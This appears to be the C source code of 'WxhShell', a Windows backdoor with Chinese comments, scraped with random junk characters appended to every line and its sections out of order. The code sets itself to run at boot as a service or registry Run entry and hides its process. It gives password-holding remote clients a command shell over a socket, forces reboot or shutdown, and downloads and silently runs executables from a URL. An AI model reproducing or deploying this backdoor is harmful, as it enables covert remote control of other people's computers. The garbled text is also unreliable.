    closesocket(wsh); :G$NQ* (z  
    ExitThread(0); l{_>?]S5  
    } Pg|q{fc  
    break; m -7^$  
    } VS1gg4tCv  
  // 关机 ex&&7$CXc  
  case 'd': { MoO jM&9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); laKMQLtv  
    if(Boot(SHUTDOWN)) 4VD'<`R[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ezC55nm  
    else { eNi.d;8F  
    closesocket(wsh); %ktU 51o  
    ExitThread(0); Y')in7g  
    } Eki7bT@/  
    break; W~Eq_J?I  
    } x]Q+M2g?  
  // 获取shell }us%G&A2u  
  case 's': { _dIv{L!  
    CmdShell(wsh); S!up2OseW  
    closesocket(wsh); `"Tx%>E(U  
    ExitThread(0); 3,S5>~R=  
    break; `{ou4H\  
  } \[ +ZKj:  
  // 退出 80c\O-{  
  case 'x': { akrEZ7A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N;;!ObVHnP  
    CloseIt(wsh); Z!^iPB0~D  
    break; d+[hB4!l2  
    } ~KHp~Xs`  
  // 离开 J[RQF54qA{  
  case 'q': { O9:vPbn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F~)xZN3=  
    closesocket(wsh); qf(!3  
    WSACleanup(); `b# w3 2  
    exit(1); Bn-%).-ED  
    break; Zb<DgJ=3  
        } SN\;&(?G  
  } =DcKHL(m  
  } yrE|cH'f0  
)I$_wB!UV  
  // 提示信息 JG0TbM1(Bt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Z6O{ >  
} yngSD`b_P  
  } Q0Dw2>~_K  
: R.,<DQM  
  return; %~}9#0h)  
} `SFI\Y+WDT  
7?Xfge%\  
// shell模块句柄 e9o(hL  
int CmdShell(SOCKET sock) Cq}LKiu  
{ "<txg%j\J  
STARTUPINFO si; _N.ZpKVu  
ZeroMemory(&si,sizeof(si)); fL' 42  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (LkGBnXE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L#m1!+J  
PROCESS_INFORMATION ProcessInfo; Nr uXXd  
char cmdline[]="cmd"; <+ >y GPp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cuW$%$ F  
  return 0; : -te  
} CP["N(fF  
mWfzL'*  
// 自身启动模式 xud =(HLl  
int StartFromService(void) f.,S-1D]h  
{ eiJ $}\qJL  
typedef struct 7z5AI!s_  
{ @]gP"Pp  
  DWORD ExitStatus; ZMy,<wk  
  DWORD PebBaseAddress; 7o'kdY Jzo  
  DWORD AffinityMask; G0xk @SE  
  DWORD BasePriority; )LKutN?tBy  
  ULONG UniqueProcessId; Y{f;qbEQH'  
  ULONG InheritedFromUniqueProcessId; $ [0  
}   PROCESS_BASIC_INFORMATION; mst-:F[h  
2PAo tD4+I  
PROCNTQSIP NtQueryInformationProcess; '<4/Md[  
FJ}/g ?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?.,..p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LmseY(i N  
F3;UH%L1  
  HANDLE             hProcess; : v<|y F  
  PROCESS_BASIC_INFORMATION pbi; vqJiMa j@Z  
6- s/\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m80QMosp  
  if(NULL == hInst ) return 0; u\<z5O  
l" *zr ;#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xj.6A,}^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qMmh2a&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WVir[Kv%  
o~*% g.  
  if (!NtQueryInformationProcess) return 0; 118A6qyi  
[?.k8;k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  r@/+  
  if(!hProcess) return 0; |z-A;uL<  
_@ev(B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n B`pfg  
8%U+y0j6b  
  CloseHandle(hProcess); PL%U  
FI Io{ru  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p*8=($j4  
if(hProcess==NULL) return 0; ?2E@)7  
-'*B%yy  
HMODULE hMod; N0vr>e`  
char procName[255]; 6L}$R`s5H  
unsigned long cbNeeded; \L<Hy)l  
Pz:,q~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DrC4oxS 1  
"6FZX~]s!  
  CloseHandle(hProcess); 1I<fp $ h  
u?&P6|J&  
if(strstr(procName,"services")) return 1; // 以服务启动 L^Fni~  
=j#uH`jgW  
  return 0; // 注册表启动 UQ}[2x(Kb  
} eYOwdTrq  
+j%!RS$ko  
// 主模块 K_G( J>  
int StartWxhshell(LPSTR lpCmdLine) e)zE*9  
{ 7:)=  
  SOCKET wsl; u$X [=  
BOOL val=TRUE; to|O]h2*U2  
  int port=0; +ZQf$@+  
  struct sockaddr_in door; bLhTgss](  
;wa- \Z  
  if(wscfg.ws_autoins) Install(); l#Ipo5=  
9l]+ rs +  
port=atoi(lpCmdLine); )R(kXz=M  
wzwEYZN(q  
if(port<=0) port=wscfg.ws_port; cGIxE[n'  
@ 4#q  
  WSADATA data; J NPEyC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; onI%Jl sq  
*%=BcV+,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |a*VoMZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <v>^#/.0  
  door.sin_family = AF_INET; )+OI}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &7VN?ox1  
  door.sin_port = htons(port); |A0BYzlVc  
>7V96jL$Y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^ Vso`(Ss  
closesocket(wsl); "jb`KBH%"  
return 1; M%92 ^;|`  
} (y *7 g f  
aY@]mMz\  
  if(listen(wsl,2) == INVALID_SOCKET) {  LP-~;  
closesocket(wsl); o^&u?F9  
return 1; Vzn0;  
} @tGju\E"o  
  Wxhshell(wsl); 7jL+c~  
  WSACleanup(); #>i Bu:\J  
ywTt<;  
return 0; eyUguA<lK\  
N?hQ53#3  
} *?x$q/a  
dWqKt0uh!  
// 以NT服务方式启动 `<2k.aW4e8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~_8Dv<"a  
{ #I8)|p?P  
DWORD   status = 0; I$7|?8  
  DWORD   specificError = 0xfffffff; wI8  
\@&oK2f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b+Vfi9<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JZI)jIh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M(8dKj1+  
  serviceStatus.dwWin32ExitCode     = 0; +O"!*  
  serviceStatus.dwServiceSpecificExitCode = 0; Zgy~Y0Di  
  serviceStatus.dwCheckPoint       = 0; 10R#} ~D  
  serviceStatus.dwWaitHint       = 0; .);~H#  
ndg1E;>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S52'!WTq  
  if (hServiceStatusHandle==0) return; E:vgG|??  
H1>~,zc>E  
status = GetLastError(); {*mf Is  
  if (status!=NO_ERROR) K)b@,/5  
{ K</EVt,U~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #N Qpr  
    serviceStatus.dwCheckPoint       = 0; ]8@s+ N  
    serviceStatus.dwWaitHint       = 0; qW+'#Jh@TV  
    serviceStatus.dwWin32ExitCode     = status; Iue}AGxu:{  
    serviceStatus.dwServiceSpecificExitCode = specificError; nilis-Bk_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I]Ev6>=;  
    return; ]Q0m]OaT  
  } ~&HP }Q$#f  
^/]w}C#:d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4fauI%kc  
  serviceStatus.dwCheckPoint       = 0; }uP`=T!"8  
  serviceStatus.dwWaitHint       = 0; " GRR,7A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); & pHSX  
} qlSI|@CO  
=jv3O.zq  
// 处理NT服务事件,比如:启动、停止 rebnV&-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e~oh%l^C72  
{ <<'%2q5  
switch(fdwControl) BOt1J_;(rO  
{ `vjn,2S}  
case SERVICE_CONTROL_STOP: ) XCG4-1  
  serviceStatus.dwWin32ExitCode = 0; `]~1pc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %#t*3[  
  serviceStatus.dwCheckPoint   = 0; 9*~bAgkWI  
  serviceStatus.dwWaitHint     = 0; I]GGmN  
  { !0-KB#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E'-lpE  
  } j<NZ4Rf  
  return; 0JT"Pv_  
case SERVICE_CONTROL_PAUSE: \k4tYL5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JuW"4R  
  break; Gh%R4)}  
case SERVICE_CONTROL_CONTINUE: M.FY4~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 90wGS_P04  
  break; ,3XlX(P  
case SERVICE_CONTROL_INTERROGATE: 6v"WI@b4  
  break; 68*a'0  
}; gn//]|#H+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =[JstiT?E  
} ycq+C8J+Ep  
n(uzqd  
// 标准应用程序主函数 4Jn+Ot.,d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [>$?/DM  
{ E)3Ah!  
e5AZU7%.  
// 获取操作系统版本 "DO|B=EejP  
OsIsNt=GetOsVer(); |N5r_V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); niA>afo  
Qm_IU!b  
  // 从命令行安装 `T\_Wje(  
  if(strpbrk(lpCmdLine,"iI")) Install(); f9K+o-P.h  
7 D(Eo{ue  
  // 下载执行文件 'VpzB s#  
if(wscfg.ws_downexe) { Nl]_Ie6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^(kmFUV,Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); w#v-h3XcF  
} ?K\r-J!Y  
ZH)Jq^^RI  
if(!OsIsNt) { 9dVHh?E  
// 如果时win9x,隐藏进程并且设置为注册表启动 lvAKL>qX  
HideProc(); qnb#~=x^  
StartWxhshell(lpCmdLine); .oS[ DTn5S  
} ARUzEo gcf  
else ]z O6ESH  
  if(StartFromService()) ;fW`#aE  
  // 以服务方式启动 BOfl hoUX  
  StartServiceCtrlDispatcher(DispatchTable); M!YGv   
else bMq)[8,N  
  // 普通方式启动 15z(hzU?#  
  StartWxhshell(lpCmdLine); IayF<y,8  
R]&lVXyH  
return 0; S5BS![-QK  
} 6t\0Ui  
G %A!yV  
enGZb&  
~9y/MR  
=========================================== H Y~[/H+:  
z"nMR_TTu  
iNs@8<=$T  
VS\| f'E  
;il+C!6zpf  
*(s0X[-  
" 00B,1Q HP  
82)%`$yZw[  
#include <stdio.h> *ESi~7;#  
#include <string.h> ]GT+UX  
#include <windows.h> >*/:"!u  
#include <winsock2.h> w5 #;Lm  
#include <winsvc.h> NR,R.N^[  
#include <urlmon.h> wRdN(`;v  
EK.n $  
#pragma comment (lib, "Ws2_32.lib") EfB.K}b^  
#pragma comment (lib, "urlmon.lib") !hFzIp  
eZ]>;5  
#define MAX_USER   100 // 最大客户端连接数 j[Jwa*GQP  
#define BUF_SOCK   200 // sock buffer : HM~!7e  
#define KEY_BUFF   255 // 输入 buffer .6!cHL3ln  
bt*  
#define REBOOT     0   // 重启 o@m7@$7  
#define SHUTDOWN   1   // 关机 \[G"/]J  
;qO3m -(d  
#define DEF_PORT   5000 // 监听端口 c|@OD3w2lM  
X?YT>+g;  
#define REG_LEN     16   // 注册表键长度 % *ng *  
#define SVC_LEN     80   // NT服务名长度 ]VR79l  
#<y/m*Ota  
// 从dll定义API O7%8F Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [!C!R$AMa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |No9eZ8>.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _?]W%R|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :IX,mDO  
DUSQh+C  
// wxhshell配置信息 ? o&goiM  
struct WSCFG { &_q8F,I \<  
  int ws_port;         // 监听端口 (}5};v  
  char ws_passstr[REG_LEN]; // 口令 mPF<2:)wv  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4B9D  
  char ws_regname[REG_LEN]; // 注册表键名 194n   
  char ws_svcname[REG_LEN]; // 服务名 O2":)zU.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z6Fl$FFP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `,O"^zR)z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VnqcpJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?E,-P!&R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Scug wSB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3&I3ViAH  
r0wAh/J|  
}; d;,Jf*x\  
_%3p&1ld  
// default Wxhshell configuration XqU0AbQ  
struct WSCFG wscfg={DEF_PORT, FJq g,  
    "xuhuanlingzhe", Sz:PeUr9h  
    1, +f$ {r7  
    "Wxhshell", j<QK1d17  
    "Wxhshell", t%%zuqF`  
            "WxhShell Service", 6-~ZOMlV  
    "Wrsky Windows CmdShell Service", G)?j(El  
    "Please Input Your Password: ", <00nu'Ex1v  
  1, \x<,Ma=D  
  "http://www.wrsky.com/wxhshell.exe", QL @SE@"  
  "Wxhshell.exe" &lID6{79Z  
    }; g##<d(e!}  
JC`;hY  
// 消息定义模块 V*r/0|vd  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }+}Cl T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ga+Cb2$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sOVpDtZ]LR  
char *msg_ws_ext="\n\rExit."; @#*{* S8  
char *msg_ws_end="\n\rQuit."; ?^J%S,  
char *msg_ws_boot="\n\rReboot..."; {H>Tv,v|  
char *msg_ws_poff="\n\rShutdown..."; D-D8La?0p  
char *msg_ws_down="\n\rSave to "; ]yQqx*  
tSY4'  
char *msg_ws_err="\n\rErr!"; \vx'+}  
char *msg_ws_ok="\n\rOK!"; P^ht$)Y  
I]HLWF  
char ExeFile[MAX_PATH]; 7Le- f  
int nUser = 0; P8#_E{f  
HANDLE handles[MAX_USER]; \[|X^8j  
int OsIsNt; TD-B\ @_  
P)LQ=b}V#;  
SERVICE_STATUS       serviceStatus; wz@[rMf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,gW$m~\  
'"XVe+.O  
// 函数声明 FRL;fF  
int Install(void); txm6[Io  
int Uninstall(void); 'f0R/6h\3s  
int DownloadFile(char *sURL, SOCKET wsh); gV$0J?Pr.  
int Boot(int flag); I FvigDj?  
void HideProc(void); mE=Tj%+ x  
int GetOsVer(void); 2"k|IHs1  
int Wxhshell(SOCKET wsl); H@1qU|4  
void TalkWithClient(void *cs); -GCU6U|  
int CmdShell(SOCKET sock); cd~QGP_C  
int StartFromService(void); i!fk'Yt%  
int StartWxhshell(LPSTR lpCmdLine); {MN6JGb|'  
YzJWS|]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p.<d+S<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :?}> Q  
`9k\~D=D~  
// 数据结构和表定义 3''Uxlo\  
SERVICE_TABLE_ENTRY DispatchTable[] = T24$lhM  
{ 1NG[   
{wscfg.ws_svcname, NTServiceMain}, F&#I[]#  
{NULL, NULL} ,-kz \N@.  
}; Dw 5Ze  
 fOKAy'  
// 自我安装 =*.S<Ko)  
int Install(void) /cVZ/"  
{ 0C3Y =F  
  char svExeFile[MAX_PATH]; Q<DXDvL  
  HKEY key; >s!k"s,  
  strcpy(svExeFile,ExeFile); Y9 Bk$$#\  
xT( pB-R  
// 如果是win9x系统,修改注册表设为自启动  z).&0K  
if(!OsIsNt) { fh66Gn,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4#t=%}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AFeFH.G6Jr  
  RegCloseKey(key); I~E&::,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Om9(xT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D><^7nr%  
  RegCloseKey(key); 6-\' *5r  
  return 0; ug'^$geM  
    } 9 &Ry51  
  } -<AGCiLz  
} dj4a)p|YN  
else { GO*D4<#u  
In;P33'p  
// 如果是NT以上系统,安装为系统服务 i5_l//]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O;&5> W,Z  
if (schSCManager!=0) I.>8p]X  
{ X)= m4\R  
  SC_HANDLE schService = CreateService c/=\YeR  
  ( EY.m,@{  
  schSCManager, **oDQwW]*  
  wscfg.ws_svcname, IL uQf-  
  wscfg.ws_svcdisp, Q \S Sv;3_  
  SERVICE_ALL_ACCESS, +VJyGbOcC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W<TfDEEa  
  SERVICE_AUTO_START, fN21[Jv3  
  SERVICE_ERROR_NORMAL, loHMQKy@  
  svExeFile, \4 +HNy3  
  NULL, `,Y3(=3Xe?  
  NULL, 90-s@a3B-j  
  NULL, R:ecLbC  
  NULL, knfmJUT  
  NULL JV8*;n%}-  
  ); XeslOsHh  
  if (schService!=0) .eorwj]yb  
  { l>hvWK[ ?I  
  CloseServiceHandle(schService); '#oH1$W]  
  CloseServiceHandle(schSCManager); *.VNyay  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2S4SG\  
  strcat(svExeFile,wscfg.ws_svcname); `Tk~?aY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'Q=(1a11  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b/\l\\$-  
  RegCloseKey(key); 3<[q>7X  
  return 0; }AiF 7N0  
    } 'geN  dx  
  } J/,m'wH  
  CloseServiceHandle(schSCManager); I>6zX  
} m;TekJXm  
} W&[-QM8  
gR_Exs'K  
return 1; w'y,$gtX/  
} k! x`cp  
aWP9i &  
// 自我卸载 g5x>}@ONq7  
int Uninstall(void) <(xro/  
{ 'F:Tv[qx  
  HKEY key; gNkBHwv  
w4&\-S#  
if(!OsIsNt) { 3Tc90p l*t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FBOgaI83G  
  RegDeleteValue(key,wscfg.ws_regname); x2/ciC  
  RegCloseKey(key); /^gu&xnS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /)dyAX(  
  RegDeleteValue(key,wscfg.ws_regname); "`4M4`'  
  RegCloseKey(key); e5"5 U7  
  return 0; H|MAbx 7  
  } [A] +Azc  
} t1$pl6&,  
} jR+k x:+  
else { NSR][h_  
#BgiDLh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +CXq41g"c  
if (schSCManager!=0)  H =&K_  
{ V^>< =DNE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Hq?dqg'%~  
  if (schService!=0) g:6 `1C  
  { ;RQ}OCz9}8  
  if(DeleteService(schService)!=0) { u?>8`]r  
  CloseServiceHandle(schService); 64<*\z_  
  CloseServiceHandle(schSCManager); q$`>[&I~)  
  return 0;  9/I xh?  
  } Sw?EF8}[  
  CloseServiceHandle(schService); wS >S\,LV  
  } [9F  
  CloseServiceHandle(schSCManager); 6JR FYgI  
} ivt ~ S  
} v_pFI8Cz)  
",Fvv  
return 1; Sogt?]HB$  
} `_]UlI_h  
jz>b>;  
// 从指定url下载文件 \>{;,f  
int DownloadFile(char *sURL, SOCKET wsh) +=nWB=iCb  
{ ` 7?EE1o  
  HRESULT hr; Q~rE+?n9 F  
char seps[]= "/"; #>sI XY  
char *token; u% =2g'+)_  
char *file; 8_O?#JYi  
char myURL[MAX_PATH]; HXPq+  
char myFILE[MAX_PATH]; R+=wSG]  
~8-xj6^  
strcpy(myURL,sURL); $' ::51  
  token=strtok(myURL,seps); 4AF.KX7  
  while(token!=NULL) nV8iYBBym  
  { ,s:viXk  
    file=token; _NpxV'E  
  token=strtok(NULL,seps); S&D8Rao5  
  } N&|,!Cu  
gr# |ZK.`  
GetCurrentDirectory(MAX_PATH,myFILE); s3K!~v\L]  
strcat(myFILE, "\\"); 'tjqfR  
strcat(myFILE, file); k/BlkjlNE  
  send(wsh,myFILE,strlen(myFILE),0); l?Ibq}[~  
send(wsh,"...",3,0); 7?);wh7`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T`]P5Bk8r  
  if(hr==S_OK) M~+DxnJ=  
return 0; ][YC.J  
else ft4hzmuzM  
return 1; /bo`@ !-#  
g8" H{u  
} n?9FJOqi  
d'b9.ki\  
// 系统电源模块 Az:A,;~+,!  
int Boot(int flag) EW+QVu@  
{ A8:eA  
  HANDLE hToken; 9o3?  
  TOKEN_PRIVILEGES tkp; #qK5i1<  
*u< ZQq  
  if(OsIsNt) { 0F 2p4!@W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D#^euNiWd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u*rHKZ9i  
    tkp.PrivilegeCount = 1; q0NToVo@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *9EW &Ek  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "98 j-L=F+  
if(flag==REBOOT) { dyohs_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cIrc@  
  return 0; k~fH:X~x  
} }XqC'z  
else { dQO 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U\-R'Z>M  
  return 0; gP |>gy#e  
} aP"!}*  
  } ${gO=Z  
  else { #wZH.i #  
if(flag==REBOOT) { n9R0f9:*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8xkLfN|N=  
  return 0; U *go}dt"5  
} U"~W3vwJ  
else { KleiX7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5 Yww,s  
  return 0; oY7jj=z#T  
} *.Z~f"SZy*  
} 6qWWfm/6  
V7cr%tY5  
return 1; mU.c!|Y  
} Dv&K3^~Rfb  
b/ h#{'  
// win9x进程隐藏模块 rj4R/{h  
void HideProc(void) {kr14 l*2  
{ M5L/3qLh1  
cmU>A721  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \)ZCB7|  
  if ( hKernel != NULL ) }<*KM)%  
  { tf[)| /M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Vak C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i4XiwjCHN  
    FreeLibrary(hKernel); {faIyKtW  
  } b`F]oQ_*  
2.MY8}&WBu  
return; 2. v<pqn  
} > `0mn|+  
HV*;Yt  
// 获取操作系统版本 8pZOgh  
int GetOsVer(void) bR8`Y(=F9b  
{ NOKU2d4 G  
  OSVERSIONINFO winfo; yqB!0) <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H8 xhE~'t  
  GetVersionEx(&winfo); ;uzLa%JQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E]=>@EX  
  return 1; J;4aghzY  
  else jx2{kK  
  return 0; 14 (sp  
} \N$)Q.M  
+[_3h9BK  
// 客户端句柄模块 gYe6(l7m  
int Wxhshell(SOCKET wsl) O~Bh(_R&  
{ LWhP d\  
  SOCKET wsh; ZDov2W  
  struct sockaddr_in client; @PctBS<s  
  DWORD myID; (NN;1{DB8  
RgZ9ZrE\  
  while(nUser<MAX_USER) S5d  
{ \f)GW$`  
  int nSize=sizeof(client); 1l Cr?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ok fxX&n  
  if(wsh==INVALID_SOCKET) return 1; =%c\<<]aV  
\PcnD$L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .t/@d(R  
if(handles[nUser]==0) ,Q0H)// ~  
  closesocket(wsh); PTqia!  
else _ElG&hyp  
  nUser++; ]hoq!:>M1  
  } k+vfZ9bD(J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `csZ*$7  
ga(k2Q;y  
  return 0; < fV][W  
} yc`*zLWh  
q6<P\CSHy<  
// 关闭 socket +-,iC6kK  
void CloseIt(SOCKET wsh) Vjw u:M  
{ euVj,m  
closesocket(wsh); -3guuT3x\  
nUser--; iq[IZdza  
ExitThread(0); xc\zRsY`  
} OA(.&5]  
F\L!.B  
// 客户端请求句柄 N/--6)5~0  
void TalkWithClient(void *cs) T[#q0bv  
{ -'SA &[7dP  
~"NuYM#@  
  SOCKET wsh=(SOCKET)cs; To5hVL<Ex"  
  char pwd[SVC_LEN]; K1Uq` TJ  
  char cmd[KEY_BUFF]; L(sT/  
char chr[1]; /,UnT(/k(  
int i,j; P.QF9%  
Q WEE%}\3}  
  while (nUser < MAX_USER) { Ak8Y?#"wz  
 Ip:54  
if(wscfg.ws_passstr) { D W^Zuu/)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,wXmJ)/WZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :7mHPe }(  
  //ZeroMemory(pwd,KEY_BUFF); 14jN0\  
      i=0; 4e#$ -V   
  while(i<SVC_LEN) { w6WPfy(/2  
)%3T1 D/  
  // 设置超时 Pg{1'-  
  fd_set FdRead; .T3 m%n  
  struct timeval TimeOut; T~(Sc'8  
  FD_ZERO(&FdRead); m}\QGtJ6  
  FD_SET(wsh,&FdRead); ,&qC R sw  
  TimeOut.tv_sec=8; }m~MN4 l  
  TimeOut.tv_usec=0; @un+y9m[C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S2_(lS+R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L+(ng  
~!!| #A)W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |ns?c0rM  
  pwd=chr[0]; )>S,#_e*b  
  if(chr[0]==0xd || chr[0]==0xa) { %W)pZN}  
  pwd=0; $(Mz@#%  
  break; 7.6L1srV  
  } Y)+q[MZ R  
  i++; O#^H.B  
    } -TH MTRFz  
'A3skznX{  
  // 如果是非法用户,关闭 socket =I)43ah d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~~ rR< re  
} !hhL",  
~rJG4U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yxo=eSOM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m<#12#D  
5<R m{  
while(1) { [!-gb+L  
G0Qw& mqF  
  ZeroMemory(cmd,KEY_BUFF); Vm>EF~r  
>MYDwH  
      // 自动支持客户端 telnet标准   UNff &E-  
  j=0; |=m.eU  
  while(j<KEY_BUFF) { 9S*"={}%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _gI1rXI  
  cmd[j]=chr[0]; C5,fX-2Q  
  if(chr[0]==0xa || chr[0]==0xd) { \ '4~@  
  cmd[j]=0; bAGKi.  
  break; Cul=,;pkB  
  } q*3keB;X  
  j++; #c>GjUJ.w  
    } 5$D"uAp<V  
d#H9jg15e  
  // 下载文件 PD-&(ka.  
  if(strstr(cmd,"http://")) { "8{A4N1B5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }: HG)V  
  if(DownloadFile(cmd,wsh)) .'gm2  
